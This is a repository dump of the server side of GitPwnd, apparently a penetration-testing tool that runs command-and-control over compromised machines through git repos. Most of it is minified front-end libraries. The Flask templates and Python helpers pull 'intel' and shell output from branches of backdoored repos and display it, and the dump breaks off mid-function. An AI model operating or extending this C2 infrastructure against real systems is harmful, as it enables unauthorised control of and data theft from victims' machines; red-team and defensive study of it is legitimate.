r&&(n.filename=r.src,!document.addEventListener||n.manual||r.hasAttribute("data-manual")||("loading"!==document.readyState?window.requestAnimationFrame?window.requestAnimationFrame(n.highlightAll):window.setTimeout(n.highlightAll,16):document.addEventListener("DOMContentLoaded",n.highlightAll))),_self.Prism}();"undefined"!=typeof module&&module.exports&&(module.exports=Prism),"undefined"!=typeof global&&(global.Prism=Prism); 3 | Prism.languages.markup={comment://,prolog:/<\?[\w\W]+?\?>/,doctype://i,cdata://i,tag:{pattern:/<\/?(?!\d)[^\s>\/=$<]+(?:\s+[^\s>\/=]+(?:=(?:("|')(?:\\\1|\\?(?!\1)[\w\W])*\1|[^\s'">=]+))?)*\s*\/?>/i,inside:{tag:{pattern:/^<\/?[^\s>\/]+/i,inside:{punctuation:/^<\/?/,namespace:/^[^\s>\/:]+:/}},"attr-value":{pattern:/=(?:('|")[\w\W]*?(\1)|[^\s>]+)/i,inside:{punctuation:/[=>"']/}},punctuation:/\/?>/,"attr-name":{pattern:/[^\s>\/]+/,inside:{namespace:/^[^\s>\/:]+:/}}}},entity:/&#?[\da-z]{1,8};/i},Prism.hooks.add("wrap",function(a){"entity"===a.type&&(a.attributes.title=a.content.replace(/&/,"&"))}),Prism.languages.xml=Prism.languages.markup,Prism.languages.html=Prism.languages.markup,Prism.languages.mathml=Prism.languages.markup,Prism.languages.svg=Prism.languages.markup; 4 | Prism.languages.css={comment:/\/\*[\w\W]*?\*\//,atrule:{pattern:/@[\w-]+?.*?(;|(?=\s*\{))/i,inside:{rule:/@[\w-]+/}},url:/url\((?:(["'])(\\(?:\r\n|[\w\W])|(?!\1)[^\\\r\n])*\1|.*?)\)/i,selector:/[^\{\}\s][^\{\};]*?(?=\s*\{)/,string:{pattern:/("|')(\\(?:\r\n|[\w\W])|(?!\1)[^\\\r\n])*\1/,greedy:!0},property:/(\b|\B)[\w-]+(?=\s*:)/i,important:/\B!important\b/i,"function":/[-a-z0-9]+(?=\()/i,punctuation:/[(){};:]/},Prism.languages.css.atrule.inside.rest=Prism.util.clone(Prism.languages.css),Prism.languages.markup&&(Prism.languages.insertBefore("markup","tag",{style:{pattern:/()[\w\W]*?(?=<\/style>)/i,lookbehind:!0,inside:Prism.languages.css,alias:"language-css"}}),Prism.languages.insertBefore("inside","attr-value",{"style-attr":{pattern:/\s*style=("|').*?\1/i,inside:{"attr-name":{pattern:/^\s*style/i,inside:Prism.languages.markup.tag.inside},punctuation:/^\s*=\s*['"]|['"]\s*$/,"attr-value":{pattern:/.+/i,inside:Prism.languages.css}},alias:"language-css"}},Prism.languages.markup.tag)); 5 | Prism.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\w\W]*?\*\//,lookbehind:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0}],string:{pattern:/(["'])(\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,greedy:!0},"class-name":{pattern:/((?:\b(?:class|interface|extends|implements|trait|instanceof|new)\s+)|(?:catch\s+\())[a-z0-9_\.\\]+/i,lookbehind:!0,inside:{punctuation:/(\.|\\)/}},keyword:/\b(if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\b/,"boolean":/\b(true|false)\b/,"function":/[a-z0-9_]+(?=\()/i,number:/\b-?(?:0x[\da-f]+|\d*\.?\d+(?:e[+-]?\d+)?)\b/i,operator:/--?|\+\+?|!=?=?|<=?|>=?|==?=?|&&?|\|\|?|\?|\*|\/|~|\^|%/,punctuation:/[{}[\];(),.:]/}; 6 | Prism.languages.javascript=Prism.languages.extend("clike",{keyword:/\b(as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield)\b/,number:/\b-?(0x[\dA-Fa-f]+|0b[01]+|0o[0-7]+|\d*\.?\d+([Ee][+-]?\d+)?|NaN|Infinity)\b/,"function":/[_$a-zA-Z\xA0-\uFFFF][_$a-zA-Z0-9\xA0-\uFFFF]*(?=\()/i,operator:/--?|\+\+?|!=?=?|<=?|>=?|==?=?|&&?|\|\|?|\?|\*\*?|\/|~|\^|%|\.{3}/}),Prism.languages.insertBefore("javascript","keyword",{regex:{pattern:/(^|[^\/])\/(?!\/)(\[.+?]|\\.|[^\/\\\r\n])+\/[gimyu]{0,5}(?=\s*($|[\r\n,.;})]))/,lookbehind:!0,greedy:!0}}),Prism.languages.insertBefore("javascript","string",{"template-string":{pattern:/`(?:\\\\|\\?[^\\])*?`/,greedy:!0,inside:{interpolation:{pattern:/\$\{[^}]+\}/,inside:{"interpolation-punctuation":{pattern:/^\$\{|\}$/,alias:"punctuation"},rest:Prism.languages.javascript}},string:/[\s\S]+/}}}),Prism.languages.markup&&Prism.languages.insertBefore("markup","tag",{script:{pattern:/()[\w\W]*?(?=<\/script>)/i,lookbehind:!0,inside:Prism.languages.javascript,alias:"language-javascript"}}),Prism.languages.js=Prism.languages.javascript; 7 | Prism.languages.json={property:/"(?:\\.|[^\\"])*"(?=\s*:)/gi,string:/"(?!:)(?:\\.|[^\\"])*"(?!:)/g,number:/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee][+-]?\d+)?)\b/g,punctuation:/[{}[\]);,]/g,operator:/:/g,"boolean":/\b(true|false)\b/gi,"null":/\bnull\b/gi},Prism.languages.jsonp=Prism.languages.json; 8 | -------------------------------------------------------------------------------- /server/gitpwnd/static/js/tether.min.js: -------------------------------------------------------------------------------- 1 | !function(t,e){"function"==typeof define&&define.amd?define(e):"object"==typeof exports?module.exports=e(require,exports,module):t.Tether=e()}(this,function(t,e,o){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t){var e=t.getBoundingClientRect(),o={};for(var n in e)o[n]=e[n];if(t.ownerDocument!==document){var r=t.ownerDocument.defaultView.frameElement;if(r){var s=i(r);o.top+=s.top,o.bottom+=s.top,o.left+=s.left,o.right+=s.left}}return o}function r(t){var e=getComputedStyle(t)||{},o=e.position,n=[];if("fixed"===o)return[t];for(var i=t;(i=i.parentNode)&&i&&1===i.nodeType;){var r=void 0;try{r=getComputedStyle(i)}catch(s){}if("undefined"==typeof r||null===r)return n.push(i),n;var a=r,f=a.overflow,l=a.overflowX,h=a.overflowY;/(auto|scroll)/.test(f+h+l)&&("absolute"!==o||["relative","absolute","fixed"].indexOf(r.position)>=0)&&n.push(i)}return n.push(t.ownerDocument.body),t.ownerDocument!==document&&n.push(t.ownerDocument.defaultView),n}function s(){A&&document.body.removeChild(A),A=null}function a(t){var e=void 0;t===document?(e=document,t=document.documentElement):e=t.ownerDocument;var o=e.documentElement,n=i(t),r=P();return n.top-=r.top,n.left-=r.left,"undefined"==typeof n.width&&(n.width=document.body.scrollWidth-n.left-n.right),"undefined"==typeof n.height&&(n.height=document.body.scrollHeight-n.top-n.bottom),n.top=n.top-o.clientTop,n.left=n.left-o.clientLeft,n.right=e.body.clientWidth-n.width-n.left,n.bottom=e.body.clientHeight-n.height-n.top,n}function f(t){return t.offsetParent||document.documentElement}function l(){var t=document.createElement("div");t.style.width="100%",t.style.height="200px";var e=document.createElement("div");h(e.style,{position:"absolute",top:0,left:0,pointerEvents:"none",visibility:"hidden",width:"200px",height:"150px",overflow:"hidden"}),e.appendChild(t),document.body.appendChild(e);var o=t.offsetWidth;e.style.overflow="scroll";var n=t.offsetWidth;o===n&&(n=e.clientWidth),document.body.removeChild(e);var i=o-n;return{width:i,height:i}}function h(){var t=arguments.length<=0||void 0===arguments[0]?{}:arguments[0],e=[];return Array.prototype.push.apply(e,arguments),e.slice(1).forEach(function(e){if(e)for(var o in e)({}).hasOwnProperty.call(e,o)&&(t[o]=e[o])}),t}function u(t,e){if("undefined"!=typeof t.classList)e.split(" ").forEach(function(e){e.trim()&&t.classList.remove(e)});else{var o=new RegExp("(^| )"+e.split(" ").join("|")+"( |$)","gi"),n=c(t).replace(o," ");g(t,n)}}function d(t,e){if("undefined"!=typeof t.classList)e.split(" ").forEach(function(e){e.trim()&&t.classList.add(e)});else{u(t,e);var o=c(t)+(" "+e);g(t,o)}}function p(t,e){if("undefined"!=typeof t.classList)return t.classList.contains(e);var o=c(t);return new RegExp("(^| )"+e+"( |$)","gi").test(o)}function c(t){return t.className instanceof t.ownerDocument.defaultView.SVGAnimatedString?t.className.baseVal:t.className}function g(t,e){t.setAttribute("class",e)}function m(t,e,o){o.forEach(function(o){-1===e.indexOf(o)&&p(t,o)&&u(t,o)}),e.forEach(function(e){p(t,e)||d(t,e)})}function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function v(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function y(t,e){var o=arguments.length<=2||void 0===arguments[2]?1:arguments[2];return t+o>=e&&e>=t-o}function b(){return"undefined"!=typeof performance&&"undefined"!=typeof performance.now?performance.now():+new Date}function w(){for(var t={top:0,left:0},e=arguments.length,o=Array(e),n=0;e>n;n++)o[n]=arguments[n];return o.forEach(function(e){var o=e.top,n=e.left;"string"==typeof o&&(o=parseFloat(o,10)),"string"==typeof n&&(n=parseFloat(n,10)),t.top+=o,t.left+=n}),t}function C(t,e){return"string"==typeof t.left&&-1!==t.left.indexOf("%")&&(t.left=parseFloat(t.left,10)/100*e.width),"string"==typeof t.top&&-1!==t.top.indexOf("%")&&(t.top=parseFloat(t.top,10)/100*e.height),t}function O(t,e){return"scrollParent"===e?e=t.scrollParents[0]:"window"===e&&(e=[pageXOffset,pageYOffset,innerWidth+pageXOffset,innerHeight+pageYOffset]),e===document&&(e=e.documentElement),"undefined"!=typeof e.nodeType&&!function(){var t=e,o=a(e),n=o,i=getComputedStyle(e);if(e=[n.left,n.top,o.width+n.left,o.height+n.top],t.ownerDocument!==document){var r=t.ownerDocument.defaultView;e[0]+=r.pageXOffset,e[1]+=r.pageYOffset,e[2]+=r.pageXOffset,e[3]+=r.pageYOffset}$.forEach(function(t,o){t=t[0].toUpperCase()+t.substr(1),"Top"===t||"Left"===t?e[o]+=parseFloat(i["border"+t+"Width"]):e[o]-=parseFloat(i["border"+t+"Width"])})}(),e}var E=function(){function t(t,e){for(var o=0;o1?o-1:0),i=1;o>i;i++)n[i-1]=arguments[i];for(;e16?(e=Math.min(e-16,250),void(o=setTimeout(i,250))):void("undefined"!=typeof t&&b()-t<10||(null!=o&&(clearTimeout(o),o=null),t=b(),D(),e=b()-t))};"undefined"!=typeof window&&"undefined"!=typeof window.addEventListener&&["resize","scroll","touchmove"].forEach(function(t){window.addEventListener(t,n)})}();var X={center:"center",left:"right",right:"left"},F={middle:"middle",top:"bottom",bottom:"top"},H={top:0,left:0,middle:"50%",center:"50%",bottom:"100%",right:"100%"},N=function(t,e){var o=t.left,n=t.top;return"auto"===o&&(o=X[e.left]),"auto"===n&&(n=F[e.top]),{left:o,top:n}},U=function(t){var e=t.left,o=t.top;return"undefined"!=typeof H[t.left]&&(e=H[t.left]),"undefined"!=typeof H[t.top]&&(o=H[t.top]),{left:e,top:o}},V=function(t){var e=t.split(" "),o=B(e,2),n=o[0],i=o[1];return{top:n,left:i}},R=V,q=function(t){function e(t){var o=this;n(this,e),z(Object.getPrototypeOf(e.prototype),"constructor",this).call(this),this.position=this.position.bind(this),L.push(this),this.history=[],this.setOptions(t,!1),x.modules.forEach(function(t){"undefined"!=typeof t.initialize&&t.initialize.call(o)}),this.position()}return v(e,t),E(e,[{key:"getClass",value:function(){var t=arguments.length<=0||void 0===arguments[0]?"":arguments[0],e=this.options.classes;return"undefined"!=typeof e&&e[t]?this.options.classes[t]:this.options.classPrefix?this.options.classPrefix+"-"+t:t}},{key:"setOptions",value:function(t){var e=this,o=arguments.length<=1||void 0===arguments[1]?!0:arguments[1],n={offset:"0 0",targetOffset:"0 0",targetAttachment:"auto auto",classPrefix:"tether"};this.options=h(n,t);var i=this.options,s=i.element,a=i.target,f=i.targetModifier;if(this.element=s,this.target=a,this.targetModifier=f,"viewport"===this.target?(this.target=document.body,this.targetModifier="visible"):"scroll-handle"===this.target&&(this.target=document.body,this.targetModifier="scroll-handle"),["element","target"].forEach(function(t){if("undefined"==typeof e[t])throw new Error("Tether Error: Both element and target must be defined");"undefined"!=typeof e[t].jquery?e[t]=e[t][0]:"string"==typeof e[t]&&(e[t]=document.querySelector(e[t]))}),d(this.element,this.getClass("element")),this.options.addTargetClasses!==!1&&d(this.target,this.getClass("target")),!this.options.attachment)throw new Error("Tether Error: You must provide an attachment");this.targetAttachment=R(this.options.targetAttachment),this.attachment=R(this.options.attachment),this.offset=V(this.options.offset),this.targetOffset=V(this.options.targetOffset),"undefined"!=typeof this.scrollParents&&this.disable(),"scroll-handle"===this.targetModifier?this.scrollParents=[this.target]:this.scrollParents=r(this.target),this.options.enabled!==!1&&this.enable(o)}},{key:"getTargetBounds",value:function(){if("undefined"==typeof this.targetModifier)return a(this.target);if("visible"===this.targetModifier){if(this.target===document.body)return{top:pageYOffset,left:pageXOffset,height:innerHeight,width:innerWidth};var t=a(this.target),e={height:t.height,width:t.width,top:t.top,left:t.left};return e.height=Math.min(e.height,t.height-(pageYOffset-t.top)),e.height=Math.min(e.height,t.height-(t.top+t.height-(pageYOffset+innerHeight))),e.height=Math.min(innerHeight,e.height),e.height-=2,e.width=Math.min(e.width,t.width-(pageXOffset-t.left)),e.width=Math.min(e.width,t.width-(t.left+t.width-(pageXOffset+innerWidth))),e.width=Math.min(innerWidth,e.width),e.width-=2,e.topo.clientWidth||[n.overflow,n.overflowX].indexOf("scroll")>=0||this.target!==document.body,r=0;i&&(r=15);var s=t.height-parseFloat(n.borderTopWidth)-parseFloat(n.borderBottomWidth)-r,e={width:15,height:.975*s*(s/o.scrollHeight),left:t.left+t.width-parseFloat(n.borderLeftWidth)-15},f=0;408>s&&this.target===document.body&&(f=-11e-5*Math.pow(s,2)-.00727*s+22.58),this.target!==document.body&&(e.height=Math.max(e.height,24));var l=this.target.scrollTop/(o.scrollHeight-s);return e.top=l*(s-e.height-f)+t.top+parseFloat(n.borderTopWidth),this.target===document.body&&(e.height=Math.max(e.height,24)),e}}},{key:"clearCache",value:function(){this._cache={}}},{key:"cache",value:function(t,e){return"undefined"==typeof this._cache&&(this._cache={}),"undefined"==typeof this._cache[t]&&(this._cache[t]=e.call(this)),this._cache[t]}},{key:"enable",value:function(){var t=this,e=arguments.length<=0||void 0===arguments[0]?!0:arguments[0];this.options.addTargetClasses!==!1&&d(this.target,this.getClass("enabled")),d(this.element,this.getClass("enabled")),this.enabled=!0,this.scrollParents.forEach(function(e){e!==t.target.ownerDocument&&e.addEventListener("scroll",t.position)}),e&&this.position()}},{key:"disable",value:function(){var t=this;u(this.target,this.getClass("enabled")),u(this.element,this.getClass("enabled")),this.enabled=!1,"undefined"!=typeof this.scrollParents&&this.scrollParents.forEach(function(e){e.removeEventListener("scroll",t.position)})}},{key:"destroy",value:function(){var t=this;this.disable(),L.forEach(function(e,o){e===t&&L.splice(o,1)}),0===L.length&&s()}},{key:"updateAttachClasses",value:function(t,e){var o=this;t=t||this.attachment,e=e||this.targetAttachment;var n=["left","top","bottom","right","middle","center"];"undefined"!=typeof this._addAttachClasses&&this._addAttachClasses.length&&this._addAttachClasses.splice(0,this._addAttachClasses.length),"undefined"==typeof this._addAttachClasses&&(this._addAttachClasses=[]);var i=this._addAttachClasses;t.top&&i.push(this.getClass("element-attached")+"-"+t.top),t.left&&i.push(this.getClass("element-attached")+"-"+t.left),e.top&&i.push(this.getClass("target-attached")+"-"+e.top),e.left&&i.push(this.getClass("target-attached")+"-"+e.left);var r=[];n.forEach(function(t){r.push(o.getClass("element-attached")+"-"+t),r.push(o.getClass("target-attached")+"-"+t)}),M(function(){"undefined"!=typeof o._addAttachClasses&&(m(o.element,o._addAttachClasses,r),o.options.addTargetClasses!==!1&&m(o.target,o._addAttachClasses,r),delete o._addAttachClasses)})}},{key:"position",value:function(){var t=this,e=arguments.length<=0||void 0===arguments[0]?!0:arguments[0];if(this.enabled){this.clearCache();var o=N(this.targetAttachment,this.attachment);this.updateAttachClasses(this.attachment,o);var n=this.cache("element-bounds",function(){return a(t.element)}),i=n.width,r=n.height;if(0===i&&0===r&&"undefined"!=typeof this.lastSize){var s=this.lastSize;i=s.width,r=s.height}else this.lastSize={width:i,height:r};var h=this.cache("target-bounds",function(){return t.getTargetBounds()}),u=h,d=C(U(this.attachment),{width:i,height:r}),p=C(U(o),u),c=C(this.offset,{width:i,height:r}),g=C(this.targetOffset,u);d=w(d,c),p=w(p,g);for(var m=h.left+p.left-d.left,v=h.top+p.top-d.top,y=0;yT.innerWidth&&(S=this.cache("scrollbar-size",l),E.viewport.bottom-=S.height),A.body.scrollHeight>T.innerHeight&&(S=this.cache("scrollbar-size",l),E.viewport.right-=S.width),(-1===["","static"].indexOf(A.body.style.position)||-1===["","static"].indexOf(A.body.parentElement.style.position))&&(E.page.bottom=A.body.scrollHeight-v-r,E.page.right=A.body.scrollWidth-m-i),"undefined"!=typeof this.options.optimizations&&this.options.optimizations.moveElement!==!1&&"undefined"==typeof this.targetModifier&&!function(){var e=t.cache("target-offsetparent",function(){return f(t.target)}),o=t.cache("target-offsetparent-bounds",function(){return a(e)}),n=getComputedStyle(e),i=o,r={};if(["Top","Left","Bottom","Right"].forEach(function(t){r[t.toLowerCase()]=parseFloat(n["border"+t+"Width"])}),o.right=A.body.scrollWidth-o.left-i.width+r.right,o.bottom=A.body.scrollHeight-o.top-i.height+r.bottom,E.page.top>=o.top+r.top&&E.page.bottom>=o.bottom&&E.page.left>=o.left+r.left&&E.page.right>=o.right){var s=e.scrollTop,l=e.scrollLeft;E.offset={top:E.page.top-o.top+s-r.top,left:E.page.left-o.left+l-r.left}}}(),this.move(E),this.history.unshift(E),this.history.length>3&&this.history.pop(),e&&_(),!0}}},{key:"move",value:function(t){var e=this;if("undefined"!=typeof this.element.parentNode){var o={};for(var n in t){o[n]={};for(var i in t[n]){for(var r=!1,s=0;s=0){var c=a.split(" "),m=B(c,2);u=m[0],h=m[1]}else h=u=a;var b=O(e,r);("target"===u||"both"===u)&&(ob[3]&&"bottom"===v.top&&(o-=d,v.top="top")),"together"===u&&("top"===v.top&&("bottom"===y.top&&ob[3]&&o-(s-d)>=b[1]&&(o-=s-d,v.top="bottom",y.top="bottom")),"bottom"===v.top&&("top"===y.top&&o+s>b[3]?(o-=d,v.top="top",o-=s,y.top="bottom"):"bottom"===y.top&&ob[3]&&"top"===y.top?(o-=s,y.top="bottom"):ob[2]&&"right"===v.left&&(n-=p,v.left="left")),"together"===h&&(nb[2]&&"right"===v.left?"left"===y.left?(n-=p,v.left="left",n-=f,y.left="right"):"right"===y.left&&(n-=p,v.left="left",n+=f,y.left="left"):"center"===v.left&&(n+f>b[2]&&"left"===y.left?(n-=f,y.left="right"):nb[3]&&"top"===y.top&&(o-=s,y.top="bottom")),("element"===h||"both"===h)&&(nb[2]&&("left"===y.left?(n-=f,y.left="right"):"center"===y.left&&(n-=f/2,y.left="right"))),"string"==typeof l?l=l.split(",").map(function(t){return t.trim()}):l===!0&&(l=["top","left","right","bottom"]),l=l||[];var w=[],C=[];o=0?(o=b[1],w.push("top")):C.push("top")),o+s>b[3]&&(l.indexOf("bottom")>=0?(o=b[3]-s,w.push("bottom")):C.push("bottom")),n=0?(n=b[0],w.push("left")):C.push("left")),n+f>b[2]&&(l.indexOf("right")>=0?(n=b[2]-f,w.push("right")):C.push("right")),w.length&&!function(){var t=void 0;t="undefined"!=typeof e.options.pinnedClass?e.options.pinnedClass:e.getClass("pinned"),g.push(t),w.forEach(function(e){g.push(t+"-"+e)})}(),C.length&&!function(){var t=void 0;t="undefined"!=typeof e.options.outOfBoundsClass?e.options.outOfBoundsClass:e.getClass("out-of-bounds"),g.push(t),C.forEach(function(e){g.push(t+"-"+e)})}(),(w.indexOf("left")>=0||w.indexOf("right")>=0)&&(y.left=v.left=!1),(w.indexOf("top")>=0||w.indexOf("bottom")>=0)&&(y.top=v.top=!1),(v.top!==i.top||v.left!==i.left||y.top!==e.attachment.top||y.left!==e.attachment.left)&&(e.updateAttachClasses(y,v),e.trigger("update",{attachment:y,targetAttachment:v}))}),M(function(){e.options.addTargetClasses!==!1&&m(e.target,g,c),m(e.element,g,c)}),{top:o,left:n}}});var j=x.Utils,a=j.getBounds,m=j.updateClasses,M=j.defer;x.modules.push({position:function(t){var e=this,o=t.top,n=t.left,i=this.cache("element-bounds",function(){return a(e.element)}),r=i.height,s=i.width,f=this.getTargetBounds(),l=o+r,h=n+s,u=[];o<=f.bottom&&l>=f.top&&["left","right"].forEach(function(t){var e=f[t];(e===n||e===h)&&u.push(t)}),n<=f.right&&h>=f.left&&["top","bottom"].forEach(function(t){var e=f[t];(e===o||e===l)&&u.push(t)});var d=[],p=[],c=["left","top","right","bottom"];return d.push(this.getClass("abutted")),c.forEach(function(t){d.push(e.getClass("abutted")+"-"+t)}),u.length&&p.push(this.getClass("abutted")),u.forEach(function(t){p.push(e.getClass("abutted")+"-"+t)}),M(function(){e.options.addTargetClasses!==!1&&m(e.target,p,d),m(e.element,p,d)}),!0}});var B=function(){function t(t,e){var o=[],n=!0,i=!1,r=void 0;try{for(var s,a=t[Symbol.iterator]();!(n=(s=a.next()).done)&&(o.push(s.value),!e||o.length!==e);n=!0);}catch(f){i=!0,r=f}finally{try{!n&&a["return"]&&a["return"]()}finally{if(i)throw r}}return o}return function(e,o){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,o);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}();return x.modules.push({position:function(t){var e=t.top,o=t.left;if(this.options.shift){var n=this.options.shift;"function"==typeof this.options.shift&&(n=this.options.shift.call(this,{top:e,left:o}));var i=void 0,r=void 0;if("string"==typeof n){n=n.split(" "),n[1]=n[1]||n[0];var s=n,a=B(s,2);i=a[0],r=a[1],i=parseFloat(i,10),r=parseFloat(r,10)}else i=n.top,r=n.left;return e+=i,o+=r,{top:e,left:o}}}}),I}); -------------------------------------------------------------------------------- /server/gitpwnd/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block body %} 3 |

Home

4 | 5 |

Welcome to GitPwnd! GitPwnd is a network penetration tool that provides 6 | command and control functionality, that is, sending commands to compromised 7 | machines and receiving their output, using git repos.

8 | 9 |

For more details, see the BlackHat USA 2017 10 | talk or the source on GitHub.

11 | 12 |

See information extracted from compromised machines by clicking on "Nodes" in the top right. 13 | 14 | {% endblock %} 15 | -------------------------------------------------------------------------------- /server/gitpwnd/templates/layout.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | GitPwnd 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | {% block html_head %}{% endblock %} 17 | 18 | 19 | 20 | 21 |

22 | 23 | 24 | 25 |
26 | 41 |

GitPwnd

42 |
43 | 44 | {% for message in get_flashed_messages() %} 45 |
{{ message }}
46 | {% endfor %} 47 | 48 |
49 | 50 |
51 | {% block body %}{% endblock %} 52 |
53 |
54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /server/gitpwnd/templates/macros.html: -------------------------------------------------------------------------------- 1 | {# Macros for nodes.html #} 2 | 3 | {% macro display_intel(intel_name, intel_value, type='string') -%} 4 |
{{intel_name}}
5 | 6 | {% if type == "string" %} 7 | {{intel_value}} 8 | {% elif type == "json" %} 9 | 10 |

11 | {{intel_value}}
12 | 
13 | 14 | {% elif type == "shell_command" %} 15 |

16 | ##########
17 | # stdout #
18 | ##########
19 | {{intel_value["stdout"]}}
20 | 
21 | ##########
22 | # stderr #
23 | ##########
24 | {{intel_value["stderr"]}}
25 | 
26 | 27 | {% else %} 28 |
29 |     {{intel_value}}
30 |     
31 | {% endif %} 32 | {%- endmacro %} 33 | -------------------------------------------------------------------------------- /server/gitpwnd/templates/nodes.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block body %} 3 | 4 | {% import 'macros.html' as macros %} 5 | 6 |

Nodes

7 | 8 | This page lists all of the info that has been extracted from any node. 9 | 10 |
11 | 12 | 13 | 14 | {% for repo_name, node_dict in intel.items() %} 15 |

Repo: {{repo_name}}

16 | 17 | {% for node_name, intel_list in node_dict.items() %} 18 |

Node: {{node_name}}

19 | 20 | {% for intel_dict in intel_list %} 21 |

Extracted on: {{intel_dict["time_ran"]["value"]}}

22 | {% for k,v in intel_dict.items() %} 23 | {{ macros.display_intel(k, v["value"], v["type"]) }} 24 | 25 | {% endfor %} 26 | 27 | {% endfor %} 28 | 29 |
30 | 31 | {% endfor %} 32 | 33 | {% endfor %} 34 | 35 | {% endblock %} 36 | -------------------------------------------------------------------------------- /server/gitpwnd/templates/setup.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block body %} 3 |

Setup

4 | 5 |

See gitpwnd/README.md for how to set up GitPwnd.

6 | 7 |

Essentially, all you have to do is customize config.yml and then run setup.py.

8 | {% endblock %} 9 | -------------------------------------------------------------------------------- /server/gitpwnd/util/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/gitpwnd/a47b9ba291c3907ed213ff6e7943ef0f90c2a928/server/gitpwnd/util/__init__.py -------------------------------------------------------------------------------- /server/gitpwnd/util/crypto_helper.py: -------------------------------------------------------------------------------- 1 | import hmac 2 | import hashlib 3 | 4 | from gitpwnd import app 5 | 6 | class CryptoHelper: 7 | 8 | @staticmethod 9 | def verify_signature(payload, secret): 10 | key = app.config["HOOK_SECRET"].encode('utf-8') 11 | h = hmac.new(key, digestmod=hashlib.sha1) 12 | h.update(payload.encode('utf-8')) 13 | signature = "sha1=" + h.hexdigest() 14 | 15 | return hmac.compare_digest(signature, secret) 16 | -------------------------------------------------------------------------------- /server/gitpwnd/util/file_helper.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | class FileHelper: 4 | 5 | @staticmethod 6 | # Create a directory if it doesn't exist 7 | def ensure_directory(dirname): 8 | if not os.path.exists(dirname): 9 | os.makedirs(dirname) 10 | -------------------------------------------------------------------------------- /server/gitpwnd/util/git_helper.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import git # gitpython 4 | 5 | from gitpwnd import app 6 | from gitpwnd.util.file_helper import FileHelper 7 | 8 | class GitHelper: 9 | 10 | # http://stackoverflow.com/questions/12179271/python-classmethod-and-staticmethod-for-beginner 11 | @staticmethod 12 | def save_intel(repo_name, branch_name, repo_path, intel_root): 13 | # TODO: "results.json" is hardcoded in payload.py 14 | # this should be abstracted to config.yml or something 15 | intel_file = os.path.join(repo_path, "results.json") 16 | print("[*] Reading intel file from: %s" % intel_file) 17 | with open(intel_file, 'r') as f: 18 | intel_json = json.load(f) 19 | 20 | # Have subdir for each node's intel 21 | node_id = branch_name 22 | output_dir = os.path.join(intel_root, repo_name, node_id) 23 | FileHelper.ensure_directory(output_dir) 24 | output_file = os.path.join(output_dir, "%s.json" % intel_json["time_ran"].replace(" ", "_")) 25 | print("[*] Storing intel file to: %s" % output_file) 26 | 27 | with open(output_file, 'w') as f: 28 | json.dump(intel_json, f) 29 | 30 | @staticmethod 31 | def import_intel_from_branch(repo_name, branch_name, backdoored_repos_root, intel_root): 32 | 33 | repo_path = os.path.join(backdoored_repos_root, repo_name) 34 | repo = git.Repo(repo_path) 35 | 36 | # http://gitpython.readthedocs.io/en/stable/tutorial.html#using-git-directly 37 | # Tried using the other ways of using gitpython but this appears easiest 38 | g = repo.git 39 | 40 | g.pull() # make sure we have the latest branches 41 | g.checkout(branch_name) 42 | g.pull() # make sure we have the latest results.json 43 | 44 | GitHelper.save_intel(repo_name, branch_name, repo_path, intel_root) 45 | 46 | g.checkout("master") 47 | -------------------------------------------------------------------------------- /server/gitpwnd/util/intel_helper.py: -------------------------------------------------------------------------------- 1 | import json 2 | import os 3 | 4 | # Helper class for 5 | class IntelHelper: 6 | 7 | @staticmethod 8 | def parse_node_dir(node_dir): 9 | node_results = [] 10 | 11 | for intel in os.listdir(node_dir): 12 | intel_file = os.path.join(node_dir, intel) 13 | 14 | with open(intel_file, 'r') as f: 15 | node_results.append(json.load(f)) 16 | # parsed_json = json.load(f) 17 | # node_results[str(parsed_json["time_ran"])] = parsed_json 18 | 19 | return node_results 20 | 21 | @staticmethod 22 | def parse_repo_dir(repo_dir): 23 | intel = {} 24 | # In intel_dir, each subdirectory corresponds to a node_id, and each file in 25 | # a node's directory is a json file corresponding to what we've extracted. 26 | # 27 | # Filename of these individual intel files is currently the time when the extraction happened. 28 | 29 | for subdir in os.listdir(repo_dir): 30 | node_dir = os.path.join(repo_dir, subdir) 31 | intel[subdir] = IntelHelper.parse_node_dir(node_dir) 32 | 33 | return intel # this was fun to write 34 | 35 | # Returns: 36 | # { 37 | # "repo_name" => { 38 | # "node_name" => [ intel_extracted1_json, intel_extracted2_json ], 39 | # ... 40 | # } 41 | # } 42 | @staticmethod 43 | def parse_all_intel_files(intel_dir): 44 | results = {} 45 | 46 | for subdir in os.listdir(intel_dir): 47 | repo_dir = os.path.join(intel_dir, subdir) 48 | 49 | results[subdir] = IntelHelper.parse_repo_dir(repo_dir) 50 | 51 | return results 52 | 53 | @staticmethod 54 | def json_prettyprint_intel(intel_dict): 55 | # intel_dict has the structure of the return value from parse_all_intel_files 56 | results = {} 57 | for repo_name, node_dict in intel_dict.items(): 58 | tmp = {} 59 | for node_name, intel_list in node_dict.items(): 60 | tmp[node_name] = [IntelHelper.annotate_intel_dict(x) for x in 